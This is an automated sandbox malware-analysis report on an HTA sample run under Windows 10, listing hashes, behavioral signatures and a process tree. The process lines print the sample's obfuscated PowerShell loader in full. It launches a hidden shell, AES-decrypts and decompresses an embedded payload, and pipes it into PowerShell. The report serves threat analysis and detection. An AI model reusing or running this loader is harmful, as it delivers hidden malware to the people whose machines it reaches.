Analysis
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max time kernel
165s -
max time network
179s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
14/10/2023, 03:58
Static task
static1
Behavioral task
behavioral1
Sample
faaf3eac037a198ddc992cde62e499d2a5b8dae2be55684552cfcd812887d05b_JC.hta
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
faaf3eac037a198ddc992cde62e499d2a5b8dae2be55684552cfcd812887d05b_JC.hta
Resource
win10v2004-20230915-en
General
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Target
faaf3eac037a198ddc992cde62e499d2a5b8dae2be55684552cfcd812887d05b_JC.hta
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Size
1.3MB
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MD5
8b78461ae5675e701bee1012494c6aae
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SHA1
bd724a33b983dc441f8b1f115d1900243c1b7755
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SHA256
faaf3eac037a198ddc992cde62e499d2a5b8dae2be55684552cfcd812887d05b
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SHA512
19e37c89f2a358560eaa664a976a1e787a33d93a6e1f72415b608b739106b5fc1da80ac6c7ac9869918694fc75547889d79458b9ae85838721727c74f4c68b2e
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SSDEEP
3072:RkpQ1CWDnNIS1Aoc2GpsWvJ6x+aUm952wog1+WoPWP9WDFdf:RkpqCWDNIfJ2GpskJnmf2woghdW3f
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 62 3776 powershell.exe 65 3776 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4056 powershell.exe 4056 powershell.exe 3776 powershell.exe 3776 powershell.exe 3196 powershell.exe 3196 powershell.exe 3776 powershell.exe 3196 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4056 powershell.exe Token: SeDebugPrivilege 3196 powershell.exe Token: SeDebugPrivilege 3776 powershell.exe Token: SeIncreaseQuotaPrivilege 3776 powershell.exe Token: SeSecurityPrivilege 3776 powershell.exe Token: SeTakeOwnershipPrivilege 3776 powershell.exe Token: SeLoadDriverPrivilege 3776 powershell.exe Token: SeSystemProfilePrivilege 3776 powershell.exe Token: SeSystemtimePrivilege 3776 powershell.exe Token: SeProfSingleProcessPrivilege 3776 powershell.exe Token: SeIncBasePriorityPrivilege 3776 powershell.exe Token: SeCreatePagefilePrivilege 3776 powershell.exe Token: SeBackupPrivilege 3776 powershell.exe Token: SeRestorePrivilege 3776 powershell.exe Token: SeShutdownPrivilege 3776 powershell.exe Token: SeDebugPrivilege 3776 powershell.exe Token: SeSystemEnvironmentPrivilege 3776 powershell.exe Token: SeRemoteShutdownPrivilege 3776 powershell.exe Token: SeUndockPrivilege 3776 powershell.exe Token: SeManageVolumePrivilege 3776 powershell.exe Token: 33 3776 powershell.exe Token: 34 3776 powershell.exe Token: 35 3776 powershell.exe Token: 36 3776 powershell.exe Token: SeIncreaseQuotaPrivilege 3776 powershell.exe Token: SeSecurityPrivilege 3776 powershell.exe Token: SeTakeOwnershipPrivilege 3776 powershell.exe Token: SeLoadDriverPrivilege 3776 powershell.exe Token: SeSystemProfilePrivilege 3776 powershell.exe Token: SeSystemtimePrivilege 3776 powershell.exe Token: SeProfSingleProcessPrivilege 3776 powershell.exe Token: SeIncBasePriorityPrivilege 3776 powershell.exe Token: SeCreatePagefilePrivilege 3776 powershell.exe Token: SeBackupPrivilege 3776 powershell.exe Token: SeRestorePrivilege 3776 powershell.exe Token: SeShutdownPrivilege 3776 powershell.exe Token: SeDebugPrivilege 3776 powershell.exe Token: SeSystemEnvironmentPrivilege 3776 powershell.exe Token: SeRemoteShutdownPrivilege 3776 powershell.exe Token: SeUndockPrivilege 3776 powershell.exe Token: SeManageVolumePrivilege 3776 powershell.exe Token: 33 3776 powershell.exe Token: 34 3776 powershell.exe Token: 35 3776 powershell.exe Token: 36 3776 powershell.exe Token: SeIncreaseQuotaPrivilege 3776 powershell.exe Token: SeSecurityPrivilege 3776 powershell.exe Token: SeTakeOwnershipPrivilege 3776 powershell.exe Token: SeLoadDriverPrivilege 3776 powershell.exe Token: SeSystemProfilePrivilege 3776 powershell.exe Token: SeSystemtimePrivilege 3776 powershell.exe Token: SeProfSingleProcessPrivilege 3776 powershell.exe Token: SeIncBasePriorityPrivilege 3776 powershell.exe Token: SeCreatePagefilePrivilege 3776 powershell.exe Token: SeBackupPrivilege 3776 powershell.exe Token: SeRestorePrivilege 3776 powershell.exe Token: SeShutdownPrivilege 3776 powershell.exe Token: SeDebugPrivilege 3776 powershell.exe Token: SeSystemEnvironmentPrivilege 3776 powershell.exe Token: SeRemoteShutdownPrivilege 3776 powershell.exe Token: SeUndockPrivilege 3776 powershell.exe Token: SeManageVolumePrivilege 3776 powershell.exe Token: 33 3776 powershell.exe Token: 34 3776 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4624 wrote to memory of 4056 4624 mshta.exe 89 PID 4624 wrote to memory of 4056 4624 mshta.exe 89 PID 4624 wrote to memory of 4056 4624 mshta.exe 89 PID 4056 wrote to memory of 1504 4056 powershell.exe 98 PID 4056 wrote to memory of 1504 4056 powershell.exe 98 PID 4056 wrote to memory of 1504 4056 powershell.exe 98 PID 1504 wrote to memory of 3196 1504 cmd.exe 102 PID 1504 wrote to memory of 3196 1504 cmd.exe 102 PID 1504 wrote to memory of 3196 1504 cmd.exe 102 PID 1504 wrote to memory of 3776 1504 cmd.exe 101 PID 1504 wrote to memory of 3776 1504 cmd.exe 101 PID 1504 wrote to memory of 3776 1504 cmd.exe 101
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\faaf3eac037a198ddc992cde62e499d2a5b8dae2be55684552cfcd812887d05b_JC.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4624 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $KblYpiat = 'AAAAAAAAAAAAAAAAAAAAAGyfC8LmTiTw1hxILnopJTNZC3F1eYtC9Ojnd/n+Z/WZTYhKpODlKxbr7y9+UJDbeubg/5SDgvXLy3Tpfpjx38xpAok7Or2zGQ34odIfBuS+ZN7zLpSo9+lFv1ae+zcfBne2ze3wgRmHVNOxqfK6ELpDLOvnBLTrmDOHy5qBzmh532o6yTqpRuC1D5Buke8z4VnjGe9xnLMNplfSIt/O86KllgGXwJvmHVBmQBZo7T4p8GI70bC7JrnLP1IxxK7ZEThOpWmpfzdiwLI+hP1tewBFAhxTx+hCQzQzWbJTXzh2UQCqaPv8BHmt5Vm5PrZiZGpx7gawEmNr7pVlHdN2goA03x+hZ2oTvcZxrWxQa8Zj6oYDVKhjcSQxx1Y7kNbcjVxoernr57UxH6GQzL1muaaa8FJmqUhtcQ/VPNRInZiZkeR0uZkXpy3AYGh3K3dLnVrxb9D2IjjsRjiq1H0fYPTMYM8M0+aAeX+JqFHGrykhdqFG4r43R5ireq28knBAUmad7f7Dxb6nFDX88PomPBgvJ8JB+Xx3sUj5FXYfb3AtM/i0vxGyd9tqnW46VMUMykmRLU24CpAc+p83o74wNwloeyhregEhGQ3x5r3Ve9B573G65n3H8aeUJYiH7wTsrq3WOW/cQN/5e7K0pdDgbCCS+qzk9+H1TuhXmEOv1OzqI4puPnWeh/J+bi/7zZe9X+x4PWlrIFW/umBdEwX4s652CSDjs+ImsCJ7QXQSrhFdkld2JxwbvvUB+sYC7YGKrXHG0af/QHSJK6EKsHpeH/ou/SGCZcwcEYgTGvvEWU3BHY5tugAEvBhNbYp+1vUNRbtKHEUOOwX71vlWrcK9In7qlAuYt/dnuXzCihqCPD1T/6RWaFv7gS4V4qCqHL3kGOM4ZWAX5A2oBRcywm+kGS+vy5QQ0mU3tiurD8LEhBOQbp3qx+Sjl+rREsI4YFhfluOnFVt+v3R0Zy+Hbdqgb0JeG+9+uCm+IVpadtxpejAVzHzccNrLM8FiXmYQLSqkXpIz0zLWSXiqxtHeAXpJYh9llQy52wMorYSIsYtsQEURReDJN0N5aiQFlyEdoVH07LqB6wP/lVZKADlgvwkLwjEhGkq+Fn625WNKJHdnHtyp';$LMxdlxRn = 'VENndXVCZENKdG1mWG1yUm9HekVXekxrZ3dmUEVPaXI=';$UHoFxWHQ = New-Object 'System.Security.Cryptography.AesManaged';$UHoFxWHQ.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UHoFxWHQ.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UHoFxWHQ.BlockSize = 128;$UHoFxWHQ.KeySize = 256;$UHoFxWHQ.Key = [System.Convert]::FromBase64String($LMxdlxRn);$LNXfG = [System.Convert]::FromBase64String($KblYpiat);$nLtrplDt = $LNXfG[0..15];$UHoFxWHQ.IV = $nLtrplDt;$IRbItUxBI = $UHoFxWHQ.CreateDecryptor();$jDfIlVYhX = $IRbItUxBI.TransformFinalBlock($LNXfG, 16, $LNXfG.Length - 16);$UHoFxWHQ.Dispose();$dpjEaJE = New-Object System.IO.MemoryStream( , $jDfIlVYhX );$VTWJtzK = New-Object System.IO.MemoryStream;$qFiZIoUUl = New-Object System.IO.Compression.GzipStream $dpjEaJE, ([IO.Compression.CompressionMode]::Decompress);$qFiZIoUUl.CopyTo( $VTWJtzK );$qFiZIoUUl.Close();$dpjEaJE.Close();[byte[]] $mxNScH = $VTWJtzK.ToArray();$CpVJRuyK = [System.Text.Encoding]::UTF8.GetString($mxNScH);$CpVJRuyK | powershell - }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell.exe $KblYpiat = 'AAAAAAAAAAAAAAAAAAAAAGyfC8LmTiTw1hxILnopJTNZC3F1eYtC9Ojnd/n+Z/WZTYhKpODlKxbr7y9+UJDbeubg/5SDgvXLy3Tpfpjx38xpAok7Or2zGQ34odIfBuS+ZN7zLpSo9+lFv1ae+zcfBne2ze3wgRmHVNOxqfK6ELpDLOvnBLTrmDOHy5qBzmh532o6yTqpRuC1D5Buke8z4VnjGe9xnLMNplfSIt/O86KllgGXwJvmHVBmQBZo7T4p8GI70bC7JrnLP1IxxK7ZEThOpWmpfzdiwLI+hP1tewBFAhxTx+hCQzQzWbJTXzh2UQCqaPv8BHmt5Vm5PrZiZGpx7gawEmNr7pVlHdN2goA03x+hZ2oTvcZxrWxQa8Zj6oYDVKhjcSQxx1Y7kNbcjVxoernr57UxH6GQzL1muaaa8FJmqUhtcQ/VPNRInZiZkeR0uZkXpy3AYGh3K3dLnVrxb9D2IjjsRjiq1H0fYPTMYM8M0+aAeX+JqFHGrykhdqFG4r43R5ireq28knBAUmad7f7Dxb6nFDX88PomPBgvJ8JB+Xx3sUj5FXYfb3AtM/i0vxGyd9tqnW46VMUMykmRLU24CpAc+p83o74wNwloeyhregEhGQ3x5r3Ve9B573G65n3H8aeUJYiH7wTsrq3WOW/cQN/5e7K0pdDgbCCS+qzk9+H1TuhXmEOv1OzqI4puPnWeh/J+bi/7zZe9X+x4PWlrIFW/umBdEwX4s652CSDjs+ImsCJ7QXQSrhFdkld2JxwbvvUB+sYC7YGKrXHG0af/QHSJK6EKsHpeH/ou/SGCZcwcEYgTGvvEWU3BHY5tugAEvBhNbYp+1vUNRbtKHEUOOwX71vlWrcK9In7qlAuYt/dnuXzCihqCPD1T/6RWaFv7gS4V4qCqHL3kGOM4ZWAX5A2oBRcywm+kGS+vy5QQ0mU3tiurD8LEhBOQbp3qx+Sjl+rREsI4YFhfluOnFVt+v3R0Zy+Hbdqgb0JeG+9+uCm+IVpadtxpejAVzHzccNrLM8FiXmYQLSqkXpIz0zLWSXiqxtHeAXpJYh9llQy52wMorYSIsYtsQEURReDJN0N5aiQFlyEdoVH07LqB6wP/lVZKADlgvwkLwjEhGkq+Fn625WNKJHdnHtyp';$LMxdlxRn = 'VENndXVCZENKdG1mWG1yUm9HekVXekxrZ3dmUEVPaXI=';$UHoFxWHQ = New-Object 'System.Security.Cryptography.AesManaged';$UHoFxWHQ.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UHoFxWHQ.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UHoFxWHQ.BlockSize = 128;$UHoFxWHQ.KeySize = 256;$UHoFxWHQ.Key = [System.Convert]::FromBase64String($LMxdlxRn);$LNXfG = [System.Convert]::FromBase64String($KblYpiat);$nLtrplDt = $LNXfG[0..15];$UHoFxWHQ.IV = $nLtrplDt;$IRbItUxBI = $UHoFxWHQ.CreateDecryptor();$jDfIlVYhX = $IRbItUxBI.TransformFinalBlock($LNXfG, 16, $LNXfG.Length - 16);$UHoFxWHQ.Dispose();$dpjEaJE = New-Object System.IO.MemoryStream( , $jDfIlVYhX );$VTWJtzK = New-Object System.IO.MemoryStream;$qFiZIoUUl = New-Object System.IO.Compression.GzipStream $dpjEaJE, ([IO.Compression.CompressionMode]::Decompress);$qFiZIoUUl.CopyTo( $VTWJtzK );$qFiZIoUUl.Close();$dpjEaJE.Close();[byte[]] $mxNScH = $VTWJtzK.ToArray();$CpVJRuyK = [System.Text.Encoding]::UTF8.GetString($mxNScH);$CpVJRuyK | powershell -3⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3776
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe $KblYpiat = 'AAAAAAAAAAAAAAAAAAAAAGyfC8LmTiTw1hxILnopJTNZC3F1eYtC9Ojnd/n+Z/WZTYhKpODlKxbr7y9+UJDbeubg/5SDgvXLy3Tpfpjx38xpAok7Or2zGQ34odIfBuS+ZN7zLpSo9+lFv1ae+zcfBne2ze3wgRmHVNOxqfK6ELpDLOvnBLTrmDOHy5qBzmh532o6yTqpRuC1D5Buke8z4VnjGe9xnLMNplfSIt/O86KllgGXwJvmHVBmQBZo7T4p8GI70bC7JrnLP1IxxK7ZEThOpWmpfzdiwLI+hP1tewBFAhxTx+hCQzQzWbJTXzh2UQCqaPv8BHmt5Vm5PrZiZGpx7gawEmNr7pVlHdN2goA03x+hZ2oTvcZxrWxQa8Zj6oYDVKhjcSQxx1Y7kNbcjVxoernr57UxH6GQzL1muaaa8FJmqUhtcQ/VPNRInZiZkeR0uZkXpy3AYGh3K3dLnVrxb9D2IjjsRjiq1H0fYPTMYM8M0+aAeX+JqFHGrykhdqFG4r43R5ireq28knBAUmad7f7Dxb6nFDX88PomPBgvJ8JB+Xx3sUj5FXYfb3AtM/i0vxGyd9tqnW46VMUMykmRLU24CpAc+p83o74wNwloeyhregEhGQ3x5r3Ve9B573G65n3H8aeUJYiH7wTsrq3WOW/cQN/5e7K0pdDgbCCS+qzk9+H1TuhXmEOv1OzqI4puPnWeh/J+bi/7zZe9X+x4PWlrIFW/umBdEwX4s652CSDjs+ImsCJ7QXQSrhFdkld2JxwbvvUB+sYC7YGKrXHG0af/QHSJK6EKsHpeH/ou/SGCZcwcEYgTGvvEWU3BHY5tugAEvBhNbYp+1vUNRbtKHEUOOwX71vlWrcK9In7qlAuYt/dnuXzCihqCPD1T/6RWaFv7gS4V4qCqHL3kGOM4ZWAX5A2oBRcywm+kGS+vy5QQ0mU3tiurD8LEhBOQbp3qx+Sjl+rREsI4YFhfluOnFVt+v3R0Zy+Hbdqgb0JeG+9+uCm+IVpadtxpejAVzHzccNrLM8FiXmYQLSqkXpIz0zLWSXiqxtHeAXpJYh9llQy52wMorYSIsYtsQEURReDJN0N5aiQFlyEdoVH07LqB6wP/lVZKADlgvwkLwjEhGkq+Fn625WNKJHdnHtyp';$LMxdlxRn = 'VENndXVCZENKdG1mWG1yUm9HekVXekxrZ3dmUEVPaXI=';$UHoFxWHQ = New-Object 'System.Security.Cryptography.AesManaged';$UHoFxWHQ.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UHoFxWHQ.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UHoFxWHQ.BlockSize = 128;$UHoFxWHQ.KeySize = 256;$UHoFxWHQ.Key = [System.Convert]::FromBase64String($LMxdlxRn);$LNXfG = [System.Convert]::FromBase64String($KblYpiat);$nLtrplDt = $LNXfG[0..15];$UHoFxWHQ.IV = $nLtrplDt;$IRbItUxBI = $UHoFxWHQ.CreateDecryptor();$jDfIlVYhX = $IRbItUxBI.TransformFinalBlock($LNXfG, 16, $LNXfG.Length - 16);$UHoFxWHQ.Dispose();$dpjEaJE = New-Object System.IO.MemoryStream( , $jDfIlVYhX );$VTWJtzK = New-Object System.IO.MemoryStream;$qFiZIoUUl = New-Object System.IO.Compression.GzipStream $dpjEaJE, ([IO.Compression.CompressionMode]::Decompress);$qFiZIoUUl.CopyTo( $VTWJtzK );$qFiZIoUUl.Close();$dpjEaJE.Close();[byte[]] $mxNScH = $VTWJtzK.ToArray();$CpVJRuyK = [System.Text.Encoding]::UTF8.GetString($mxNScH);$CpVJRuyK4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3196
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1KB
MD5def65711d78669d7f8e69313be4acf2e
SHA16522ebf1de09eeb981e270bd95114bc69a49cda6
SHA256aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
SHA51205b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
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Filesize
15KB
MD5fa88d5872a83468347af7904f0dd3cbe
SHA172a670ebeae10f7d47a2bf0cbb61fed58dcfde23
SHA2562f7458eb4132f76d97b2f940ff4c314fb3ebdf5184fec6105d3b97a8ed1da36a
SHA512cf0719e1e310659c7504a19d56f478d8a365b121bc4c8f2ecd22b72b49d5647413d82ebd8720a68a077e33fdc20cc71a271b9717821a4124765a44e0c7b72fd2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82